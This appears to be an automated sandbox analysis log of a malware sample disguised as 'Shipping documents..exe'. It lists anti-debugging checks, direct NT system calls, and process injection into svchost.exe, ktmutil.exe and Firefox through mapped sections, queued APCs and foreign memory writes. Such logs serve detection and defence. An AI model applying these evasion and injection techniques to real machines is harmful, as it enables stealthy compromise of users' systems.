Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740BBE mov eax, dword ptr fs:[00000030h]	2_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740BBE mov eax, dword ptr fs:[00000030h]	2_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_037E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_037E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03802B57 mov eax, dword ptr fs:[00000030h]	2_2_03802B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03802B57 mov eax, dword ptr fs:[00000030h]	2_2_03802B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03802B57 mov eax, dword ptr fs:[00000030h]	2_2_03802B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03802B57 mov eax, dword ptr fs:[00000030h]	2_2_03802B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804A80 mov eax, dword ptr fs:[00000030h]	2_2_03804A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037ACA72 mov eax, dword ptr fs:[00000030h]	2_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037ACA72 mov eax, dword ptr fs:[00000030h]	2_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEA60 mov eax, dword ptr fs:[00000030h]	2_2_037DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740A5B mov eax, dword ptr fs:[00000030h]	2_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740A5B mov eax, dword ptr fs:[00000030h]	2_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03754A35 mov eax, dword ptr fs:[00000030h]	2_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03754A35 mov eax, dword ptr fs:[00000030h]	2_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA38 mov eax, dword ptr fs:[00000030h]	2_2_0376CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA24 mov eax, dword ptr fs:[00000030h]	2_2_0376CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EA2E mov eax, dword ptr fs:[00000030h]	2_2_0375EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BCA11 mov eax, dword ptr fs:[00000030h]	2_2_037BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376AAEE mov eax, dword ptr fs:[00000030h]	2_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376AAEE mov eax, dword ptr fs:[00000030h]	2_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730AD0 mov eax, dword ptr fs:[00000030h]	2_2_03730AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764AD0 mov eax, dword ptr fs:[00000030h]	2_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764AD0 mov eax, dword ptr fs:[00000030h]	2_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738AA0 mov eax, dword ptr fs:[00000030h]	2_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738AA0 mov eax, dword ptr fs:[00000030h]	2_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786AA4 mov eax, dword ptr fs:[00000030h]	2_2_03786AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768A90 mov edx, dword ptr fs:[00000030h]	2_2_03768A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4978 mov eax, dword ptr fs:[00000030h]	2_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4978 mov eax, dword ptr fs:[00000030h]	2_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC97C mov eax, dword ptr fs:[00000030h]	2_2_037BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov eax, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov edx, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov eax, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0946 mov eax, dword ptr fs:[00000030h]	2_2_037B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B892A mov eax, dword ptr fs:[00000030h]	2_2_037B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C892B mov eax, dword ptr fs:[00000030h]	2_2_037C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC912 mov eax, dword ptr fs:[00000030h]	2_2_037BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728918 mov eax, dword ptr fs:[00000030h]	2_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728918 mov eax, dword ptr fs:[00000030h]	2_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE908 mov eax, dword ptr fs:[00000030h]	2_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE908 mov eax, dword ptr fs:[00000030h]	2_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037629F9 mov eax, dword ptr fs:[00000030h]	2_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037629F9 mov eax, dword ptr fs:[00000030h]	2_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_037BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037649D0 mov eax, dword ptr fs:[00000030h]	2_2_037649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_037FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C69C0 mov eax, dword ptr fs:[00000030h]	2_2_037C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804940 mov eax, dword ptr fs:[00000030h]	2_2_03804940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov esi, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov eax, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov eax, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD mov eax, dword ptr fs:[00000030h]	2_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD mov eax, dword ptr fs:[00000030h]	2_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE872 mov eax, dword ptr fs:[00000030h]	2_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE872 mov eax, dword ptr fs:[00000030h]	2_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6870 mov eax, dword ptr fs:[00000030h]	2_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6870 mov eax, dword ptr fs:[00000030h]	2_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760854 mov eax, dword ptr fs:[00000030h]	2_2_03760854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734859 mov eax, dword ptr fs:[00000030h]	2_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734859 mov eax, dword ptr fs:[00000030h]	2_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03742840 mov ecx, dword ptr fs:[00000030h]	2_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov ecx, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtTerminateProcess: Direct from: 0x77382D5C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Shipping documents..exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\ktmutil.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\ktmutil.exe

Thread register set: target process: 4836

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\ktmutil.exe

Thread APC queued: target process: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Shipping documents..exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2C2E008

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\Shipping documents..exe

0_2_0040D590

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\Desktop\Shipping documents..exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Shipping documents..exe"	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"	Jump to behavior
Source: C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

